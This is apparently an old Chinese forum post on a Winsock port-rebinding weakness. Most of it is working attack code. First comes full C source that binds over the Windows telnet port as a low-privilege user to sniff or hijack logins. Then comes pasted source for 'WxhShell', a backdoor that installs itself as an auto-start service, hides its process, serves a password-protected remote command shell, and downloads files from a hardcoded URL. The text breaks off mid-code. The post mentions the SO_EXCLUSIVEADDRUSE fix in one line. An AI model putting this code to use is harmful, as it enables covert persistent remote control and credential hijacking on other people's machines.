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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qG ? :Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $sS~hy*  
V@[C=K  
  saddr.sin_family = AF_INET; 6q6xqr:W  
I Zw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); is~2{:  
T^(> 8/O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @\o"zU  
: ]+6l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6|~^P!&  
-$DfnAh  
  这意味着什么?意味着可以进行如下的攻击: Ri~$hs!  
B(ktIy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _{-[1-lN5_  
`G_~zt/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m uy^>2p  
I7~) q`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~f[ Y;  
k5Fj "U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kwL|gO1L  
7eju%d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >7zC-3  
lo(C3o'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tW/g0lC%  
8|)^m[c&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @XXPJq;J  
_DH^ K 9,9  
  #include gWzslgO6  
  #include _OyQ:>M6P  
  #include DA.k8M  
  #include    +{RTz)e?*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1^^8,.'  
  int main() v"W*@7<`S  
  { "~^0  
  WORD wVersionRequested; ir/uHN@  
  DWORD ret; doOuc4  
  WSADATA wsaData; <|jh3Hlp  
  BOOL val; <r.QS[:h  
  SOCKADDR_IN saddr; owQ,op #  
  SOCKADDR_IN scaddr; /Pkz3(1  
  int err; y<E]; ub  
  SOCKET s; ?5J#  
  SOCKET sc; &29jg_'W  
  int caddsize; dGn 0-l'q  
  HANDLE mt; `SsoRPW&$  
  DWORD tid;   dpw-a4o}  
  wVersionRequested = MAKEWORD( 2, 2 ); 0hV#]`9`gN  
  err = WSAStartup( wVersionRequested, &wsaData ); t15{>>f4>  
  if ( err != 0 ) { #Uu,yHMv:;  
  printf("error!WSAStartup failed!\n"); kuD$]A Q`&  
  return -1; ]LUcOR  
  } oDMPYkpTu  
  saddr.sin_family = AF_INET; Q_|}~4_+  
   /HpM17   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .i I{  
A5TSbW']+5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _huJ*W7lR  
  saddr.sin_port = htons(23); ld@+p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }7[]d7  
  { 3HpqMz  
  printf("error!socket failed!\n"); $t.oGd@N  
  return -1; in<.0v9w  
  } :J]'c}  
  val = TRUE; t{jY@J T|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b>OB}Is  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w\o6G7  
  { W~;Jsd=f  
  printf("error!setsockopt failed!\n"); u9OY Jo  
  return -1; AX8~w(sv  
  } 6/mz., g2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,<t.Iz%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fq6Obh=A#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KtL?,zi  
E 6TeZ%g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5 ix*wu`,  
  { !q\=e@j-i  
  ret=GetLastError(); hbH~Ya=+S  
  printf("error!bind failed!\n"); W3tin3__  
  return -1; eV|N@  
  } "dX~J3$  
  listen(s,2); 4@@Sh`E:  
  while(1) Vb`Vp(>AU  
  { E=ijt3  
  caddsize = sizeof(scaddr); | 6JKB'  
  //接受连接请求 p|t" 4HQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `xLsD}32  
  if(sc!=INVALID_SOCKET) GHcx@||C?  
  { 5lG\ Z?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); at_*Zh(  
  if(mt==NULL) MONX&$  
  { hi1Ial\Y  
  printf("Thread Creat Failed!\n"); Y0a[Lb0  
  break; ?l/6DT>e  
  } Q:(mK* _  
  } W/!P1M n  
  CloseHandle(mt); dj Ojd,  
  } 3 y}E*QE  
  closesocket(s); q5SPyfE[  
  WSACleanup(); +M0pmK!  
  return 0; `|ie#L(:7/  
  }   %;k Hnl  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,*XB11P  
  { u;_h%z5K  
  SOCKET ss = (SOCKET)lpParam; Ds">eNq  
  SOCKET sc; @=Q!a (g  
  unsigned char buf[4096]; H`CID*Ji  
  SOCKADDR_IN saddr; $ZBYOA  
  long num; aV'bI  
  DWORD val; k."p&  
  DWORD ret; z$%twBg}#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eIkKsgr>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Food<(!.>  
  saddr.sin_family = AF_INET; ^<CVQ8R7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `pfIgryns  
  saddr.sin_port = htons(23); *U[yeE].  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Dh2@2`>  
  { FOXSs8"c]!  
  printf("error!socket failed!\n"); LORcf1X/  
  return -1; ,2S!$M  
  } %qoS(iO`h  
  val = 100; ] 4dl6T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q Q\j  
  { ' k,2*.A  
  ret = GetLastError(); l a3B`p  
  return -1; )\akIA  
  } l{k_;i!D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  arYq$~U  
  { ,QcS[9$  
  ret = GetLastError(); .G O0xnm  
  return -1; a `R%\@1  
  } MUrPr   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h@Q^&%w  
  { 8<6H2~5<  
  printf("error!socket connect failed!\n"); }D#: NlMp  
  closesocket(sc); 1r;zA<<%R  
  closesocket(ss); 4@ PA+(kvS  
  return -1; Xqf,_I=V  
  } |THpkfW  
  while(1) :o'x?]  
  { o!M8V ^vW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VzP az\e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G4)~p!TSQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q)k:pQ   
  num = recv(ss,buf,4096,0); N6Mr#A-{  
  if(num>0) +hyOc|5  
  send(sc,buf,num,0); ^m qEKy<  
  else if(num==0) 1$>+rW{a  
  break; |[*Bn3E:  
  num = recv(sc,buf,4096,0); f>N DtG.6  
  if(num>0) %2\Hj0JQQ  
  send(ss,buf,num,0); <3;p>4gN  
  else if(num==0) n Nt28n@  
  break; ~non_pJ  
  } ^D+J k8  
  closesocket(ss); M-o'`e'  
  closesocket(sc); WMB%?30  
  return 0 ; 2*: q$c  
  } aGD< #]  
C96/   
R_!.vGhkN  
========================================================== $YSXE :  
jeC=s~  
下边附上一个代码,,WXhSHELL c[h~=0UtJ  
6mM9p)"$  
========================================================== * ,hhX psa  
NAR6q{c  
#include "stdafx.h" :viW  
(>al-vZ6A  
#include <stdio.h> lzEynMO+  
#include <string.h> J&xZN8jW   
#include <windows.h> .GrOdDK$ns  
#include <winsock2.h> `/8@Fj  
#include <winsvc.h> u^Q`xd1  
#include <urlmon.h> GJ ^c^`  
`'YX>u/  
#pragma comment (lib, "Ws2_32.lib") Tc WCr  
#pragma comment (lib, "urlmon.lib") 5hrI#fpOR  
6nx\|F  
#define MAX_USER   100 // 最大客户端连接数 )Qbd/zd\U  
#define BUF_SOCK   200 // sock buffer $dL..QH^K  
#define KEY_BUFF   255 // 输入 buffer Xg)8}  
')m!48  
#define REBOOT     0   // 重启 ]E`<8hRB  
#define SHUTDOWN   1   // 关机 /_C2O"h  
a|ufm^ F  
#define DEF_PORT   5000 // 监听端口 4E$MhP  
1!#N-^qk  
#define REG_LEN     16   // 注册表键长度 `Q@7,z=f  
#define SVC_LEN     80   // NT服务名长度 &LLU@|  
&uq.k{<p\  
// 从dll定义API &K^0PzWWof  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fLDrit4_Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !_Lmrs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sc<dxY@w7-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }icCp)b>v  
'/d51  
// wxhshell配置信息 *;<fh,wOk  
struct WSCFG { KWJVc `  
  int ws_port;         // 监听端口 WTSh#L  
  char ws_passstr[REG_LEN]; // 口令 >xFvfuyC  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1NZ"\9=U  
  char ws_regname[REG_LEN]; // 注册表键名 F y+NJSG  
  char ws_svcname[REG_LEN]; // 服务名 z0 "DbZ;d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >*-%:ub  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GP} ;~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c./\sN@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )x.%PUA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iU)I"#\l'k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T ,lM(2S[  
}3Es&p$9  
}; +3v)@18B1  
iN;Pg _Kq  
// default Wxhshell configuration xGd60"w2  
struct WSCFG wscfg={DEF_PORT, l<=;IMWd  
    "xuhuanlingzhe", 59E9K)c3  
    1, I7ao2aS  
    "Wxhshell", 1Bytu >2  
    "Wxhshell", iE%"Q? Q/  
            "WxhShell Service", x YS81  
    "Wrsky Windows CmdShell Service", ~A0]vcP  
    "Please Input Your Password: ", {[y6qQm  
  1, 5!c/J:z  
  "http://www.wrsky.com/wxhshell.exe", v">?`8V  
  "Wxhshell.exe" 1T^WMn:U  
    }; -U|c~Cqc  
74%vNKzc~  
// 消息定义模块 +H-=`+,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AWO)]rM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ot=>~(u0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M 8},RR@{  
char *msg_ws_ext="\n\rExit."; xT*'p&ap  
char *msg_ws_end="\n\rQuit."; s^k G]7  
char *msg_ws_boot="\n\rReboot..."; ~D52b1f  
char *msg_ws_poff="\n\rShutdown..."; EC+t-:a]  
char *msg_ws_down="\n\rSave to "; ^~4]"J};M  
<8r"QJY/  
char *msg_ws_err="\n\rErr!"; {##G.n\~  
char *msg_ws_ok="\n\rOK!"; ?ANW I8'_j  
Cfi{%,em  
char ExeFile[MAX_PATH]; .:S/x{~  
int nUser = 0;  3.&BhLT  
HANDLE handles[MAX_USER]; "x,lL  
int OsIsNt; 8ro`lX*F@2  
JE.$]){  
SERVICE_STATUS       serviceStatus; ~ #jQFyOh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H%_^Gy8f  
q"d9C)Md  
// 函数声明 vs@d)$N  
int Install(void); ETDWG_H |  
int Uninstall(void); fNN l1Vls  
int DownloadFile(char *sURL, SOCKET wsh); 0=ws)@[I  
int Boot(int flag); wE .H:q4&  
void HideProc(void); Ev fvU:z  
int GetOsVer(void); \@Wv{0a(  
int Wxhshell(SOCKET wsl); zIa={tU  
void TalkWithClient(void *cs); [ &TF]az  
int CmdShell(SOCKET sock); Qz(D1>5I?  
int StartFromService(void); )*KMU?  
int StartWxhshell(LPSTR lpCmdLine); 2?,Jn&i5  
t3L>@NWG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /~LE1^1&U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e!u]l  
o"z()w~  
// 数据结构和表定义 h.<f%&)F  
SERVICE_TABLE_ENTRY DispatchTable[] = ;c 7I "?@z  
{ [$dVs16K  
{wscfg.ws_svcname, NTServiceMain}, f;E#CjlTL  
{NULL, NULL} (-C)A-Uo&  
}; gawY{Jr8I  
M;A_'h?Z  
// 自我安装 GQ(Y#HSq  
int Install(void) @A[)\E1  
{ _c>iux;  
  char svExeFile[MAX_PATH]; ^ :VH?I=  
  HKEY key; .@H:P  
  strcpy(svExeFile,ExeFile); "L>'X22ed  
N{Sp-J>  
// 如果是win9x系统,修改注册表设为自启动 @IG's-  
if(!OsIsNt) { !)a_@d.;i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )fJ"Hq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8xy8/UBIk0  
  RegCloseKey(key); fJFNS y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TXImmkC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MlV(XG>'  
  RegCloseKey(key); .n\JY;"  
  return 0; b9H(w%7ucU  
    } :8 2T!  
  } #:6-O  
} .}__XWK5  
else { CW1l;uwtU  
UyGo0POW  
// 如果是NT以上系统,安装为系统服务 45~x #Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l b(  
if (schSCManager!=0) 0|e[o"  
{ n Bm ]?  
  SC_HANDLE schService = CreateService [F<E0rjwM  
  ( (]@S<0  
  schSCManager, *7Vb([x4;  
  wscfg.ws_svcname, BA\aVhmx  
  wscfg.ws_svcdisp, eRUdPPq_d  
  SERVICE_ALL_ACCESS, <Jgcj 4D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YZ~MByu  
  SERVICE_AUTO_START, M`Y^hDl6  
  SERVICE_ERROR_NORMAL, Y"FV#<9@7E  
  svExeFile, A-Ba%Fv  
  NULL, 12`u[O}\}-  
  NULL, 7xnj\9$m  
  NULL, o\8?CNm1(  
  NULL, (Yewd/T  
  NULL n>ryS/1  
  ); ^50dF:V(1  
  if (schService!=0) (3n "a'  
  { 'jt7H{M  
  CloseServiceHandle(schService); CX]1I|T5  
  CloseServiceHandle(schSCManager); rXB;#ypO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qvn.uujYS  
  strcat(svExeFile,wscfg.ws_svcname); :^7w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZvRa"j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JxIJxhA>  
  RegCloseKey(key); Nbl&al@"  
  return 0;  O3sV)  
    } 4*EMd!E=<  
  } ,YD7p= PY  
  CloseServiceHandle(schSCManager); kjYM&q  
} Dg&6@c|  
} x^1udK^re  
Pb&tWv\ql  
return 1; sK2N3 B&6  
} "2mPWRItO  
j_JY[sex  
// 自我卸载 Tpl]\L1v-  
int Uninstall(void) 0pE >O7  
{ D:T]$<=9  
  HKEY key; @&\Y:aRO%i  
K<P d.:  
if(!OsIsNt) { QFP9"FM5F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H )ej]DXy  
  RegDeleteValue(key,wscfg.ws_regname); 868X/lL  
  RegCloseKey(key); wI@87&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6n]+(=  
  RegDeleteValue(key,wscfg.ws_regname); "3RFy i  
  RegCloseKey(key); n&[CTOV  
  return 0; nCYkUDnZ  
  } }n^Rcz6HeO  
} d{YvdN9d  
} >jt2vU@t.  
else { NY7yk3  
4>,X.|9{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A3eCI  
if (schSCManager!=0) yd;e;Bb7*  
{ #RlZxtx.O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q ^b&   
  if (schService!=0) T.da!!'B f  
  { wv9HiHz8gD  
  if(DeleteService(schService)!=0) { !v}TRGX  
  CloseServiceHandle(schService); 8^>qor.]M  
  CloseServiceHandle(schSCManager); aqON6|6K  
  return 0; ) H,Xkex  
  } NWf=mrS8@$  
  CloseServiceHandle(schService); }zGx0Q  
  } |.k'?!  
  CloseServiceHandle(schSCManager); D?n6h\h\$%  
} _[HZ[9c!  
} wtS*-;W  
,ua1sTgQ  
return 1; B0Df7jr%`>  
} )ce 6~   
5f*_K6,v  
// 从指定url下载文件 D40 vCax^J  
int DownloadFile(char *sURL, SOCKET wsh) 3"x_Y  
{ _ $a3lR  
  HRESULT hr; H$%MIBz>$  
char seps[]= "/"; ^MpMqm1?8;  
char *token; 0GUJc}fgvN  
char *file; |Y uf/G%/  
char myURL[MAX_PATH]; d"XZlEV  
char myFILE[MAX_PATH]; FCt<h/  
;FqmZjm  
strcpy(myURL,sURL); :;_ khno  
  token=strtok(myURL,seps); <Z^by;d|z  
  while(token!=NULL) e"hfeNphz  
  { Ja6KO2}p  
    file=token; `\( ?^]WLa  
  token=strtok(NULL,seps); Sp\TaUzg  
  } BgXZr,?  
70qEqNoC  
GetCurrentDirectory(MAX_PATH,myFILE); %Y&48''"  
strcat(myFILE, "\\"); ]Q"T8drL  
strcat(myFILE, file); T<n`i~~  
  send(wsh,myFILE,strlen(myFILE),0); ^5X?WA,Z99  
send(wsh,"...",3,0); O h@z<1eYZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  I0mp[6  
  if(hr==S_OK) :SaZhY  
return 0; %Xh}{o$G  
else mz0{eO  
return 1; Cfi4~&  
uZl d9u  
} M86"J:\u]  
:'T+`(  
// 系统电源模块 RZHfT0*jL  
int Boot(int flag) vaeQ}F  
{ K$Bv4_|x  
  HANDLE hToken; m.+h@  
  TOKEN_PRIVILEGES tkp; ?;l@yx  
% mQ&pk  
  if(OsIsNt) { ~|"Vl<9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 54p{J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^0zfQu+!  
    tkp.PrivilegeCount = 1; [l-o*@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Un]wP`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l9 \W=-'  
if(flag==REBOOT) { li[[AAWVm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S})f`X9_}  
  return 0; [3X\"x5@V  
} &>AwG4HW#j  
else { O\Huj=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ;Ci:d*  
  return 0; x{;{fMN1  
} 'ayb`  
  } suQTi'K1  
  else { vN(~}gOd\  
if(flag==REBOOT) { 8)S)!2_h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z6w'XA1_+t  
  return 0; ~B[e*| d  
} -;gQy[U  
else { 8Ay7I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |-ZML~2S=h  
  return 0; h2'6W)  
} +Kgl/Wg%  
} Vja 4WK*  
] !*K|?VL  
return 1; Z=8&`  
} f2c <-}wR  
qoZi1,i'  
// win9x进程隐藏模块 4AL,=C3  
void HideProc(void) -o~zb-E  
{ <6;M\:Y*T  
|]<#![!h#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); koT3~FK  
  if ( hKernel != NULL ) 1)c{;x& W  
  { _xAru9=n^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <%.%q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E"*E[>  
    FreeLibrary(hKernel); tC'#dU`=qY  
  } FV9{u[3m  
Mo@{1K/9  
return; <SJ6<'  
} ;q'-<O   
~Q=;L>Qd  
// 获取操作系统版本 %qcCv9  
int GetOsVer(void) =ttD5 p  
{ 8/p ]'BLf  
  OSVERSIONINFO winfo; o;wSG81  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TNh&g.  
  GetVersionEx(&winfo); ~H#c-B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }o]}R#|  
  return 1; A)~ oD_ooQ  
  else ;F1y!h67<  
  return 0; N^B7<~ bD  
} ;S^"Y:7)  
[<i3l'V/[  
// 客户端句柄模块 5 `TMqrk  
int Wxhshell(SOCKET wsl) M>=@Z*u/+  
{ ZzK^ bNx)0  
  SOCKET wsh; :kcqf,7  
  struct sockaddr_in client; g:RS7od=,  
  DWORD myID; 6v{&,q  
fahQ^#&d`  
  while(nUser<MAX_USER) rZ,3:x-:  
{ Uy=yA  
  int nSize=sizeof(client); >7@,,~3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #SHJ0+)o  
  if(wsh==INVALID_SOCKET) return 1; /*gs]  
{QG6ldI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N1Xg-u?ul#  
if(handles[nUser]==0) i9 CQ~  
  closesocket(wsh); zdem}kBIe  
else w!*ZS~v/r  
  nUser++; EyR/   
  } V %[t'uh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FnVW%fh  
[pms>TQ2  
  return 0; 512p\x@  
} M&=SvM.f  
V*JqC  
// 关闭 socket A]Hz?i  
void CloseIt(SOCKET wsh) O_s /BoB@  
{ Hwd^C 2v  
closesocket(wsh); DNDzK iMk  
nUser--; ga KZ4#  
ExitThread(0); e`a4Gr  
} ((AK7hb  
5o{U$  
// 客户端请求句柄 3qGz(6w6E  
void TalkWithClient(void *cs) IW@xT@  
{ *eD[[HbKX  
6qQ_I 0f  
  SOCKET wsh=(SOCKET)cs; <% mD#S  
  char pwd[SVC_LEN]; oFyB-vpYQV  
  char cmd[KEY_BUFF]; yL<u>S0  
char chr[1]; i \Yd_  
int i,j; zGme}z;1@  
j+fF$6po#t  
  while (nUser < MAX_USER) { Xa-TNnws?  
\N0wf-qa=  
if(wscfg.ws_passstr) { Tw%1m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1fJ~Wp @1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~f[;(?39xZ  
  //ZeroMemory(pwd,KEY_BUFF); DdISJWc'`5  
      i=0; 5s%e9x|kP  
  while(i<SVC_LEN) { lZkJ<*z#  
( !m6>m2  
  // 设置超时 H #X*OJ  
  fd_set FdRead; v:!TqfI  
  struct timeval TimeOut; !:xE X~  
  FD_ZERO(&FdRead); ":sp0(`h  
  FD_SET(wsh,&FdRead); k!z.6di  
  TimeOut.tv_sec=8; lV3k4iRH  
  TimeOut.tv_usec=0; *\+oe+3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P1L+Vnfu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D@5h$ m5  
Uv?^qe0=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~T9QpL1OJ  
  pwd=chr[0]; q|klsup  
  if(chr[0]==0xd || chr[0]==0xa) { K)1Lg? j  
  pwd=0; aox@- jyr  
  break; TWRnty-C  
  } #u"@q< )  
  i++; 1Xh@x  
    } 9 M?UPE  
x~m$(LT  
  // 如果是非法用户,关闭 socket '9qyf<MlY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XdzC/ {G  
} m'G=WO*%  
W! |_ hL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3,!IV"_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h1B_*L   
18kWnF]n=  
while(1) { Az(,Q$"|5  
PktnjdFV  
  ZeroMemory(cmd,KEY_BUFF); ^G5fs'd  
())_4 <  
      // 自动支持客户端 telnet标准   xVI"sBUu  
  j=0; {w ,^Z[<  
  while(j<KEY_BUFF) { W?N+7_%'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F }F{/  
  cmd[j]=chr[0]; 'm<L}d  
  if(chr[0]==0xa || chr[0]==0xd) { z#n+iC$9  
  cmd[j]=0; t"~X6o|R  
  break; -nD} k  
  } KB^GC5L>  
  j++; #K`[XA  
    } MCXt,`}[  
"*c&[ALw  
  // 下载文件 5ff5M=M  
  if(strstr(cmd,"http://")) { Du-Q~I6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U(~Nmo'  
  if(DownloadFile(cmd,wsh)) 3c:fYE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >h9~ /  
  else   LR4W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q/HEWk  
  } l;h -`( 11  
  else { u2':~h?l  
C.}ho.} r  
    switch(cmd[0]) { <8h3)$  
  )1YGWr;ykS  
  // 帮助 O|9Nl*rXz  
  case '?': { 6@d/k.3p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gxVJH'[V5  
    break; h-m0Ro?6  
  } 11!4#z6w  
  // 安装 F"tM?V.|  
  case 'i': { -O@/S9]S)  
    if(Install()) e)L!4Y44K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#8z%/~k  
    else !:_krLB<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J3r':I}\  
    break; JvJ)}d$,&  
    } 5a&gdqg]  
  // 卸载 {-|El}.M  
  case 'r': { _JKz5hSl  
    if(Uninstall()) =wl0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G+3uY25y  
    else (5RZLRn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &k(tDP  
    break;  |>Pv2  
    } %P *b&H^0  
  // 显示 wxhshell 所在路径 0 zjGL7  
  case 'p': { R^K:hKQ  
    char svExeFile[MAX_PATH]; UyMlk  
    strcpy(svExeFile,"\n\r"); '?$< k@mJW  
      strcat(svExeFile,ExeFile); I wu^@  
        send(wsh,svExeFile,strlen(svExeFile),0); LsK fCB}  
    break; m .En!~t  
    } tU8aPiUl  
  // 重启 e.|t12)L "  
  case 'b': { :yOJL [x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^<aj~0v  
    if(Boot(REBOOT)) a uve&y"R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<~P||Lu^  
    else { 2%pe.s tQ  
    closesocket(wsh); `ih#>i_ &  
    ExitThread(0); '?E@H.""  
    } *m 6*sIR  
    break; kPnuU!  
    } ]/mRMm9"3h  
  // 关机 H .sfM   
  case 'd': { (B].ppBii  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pTYV@5|  
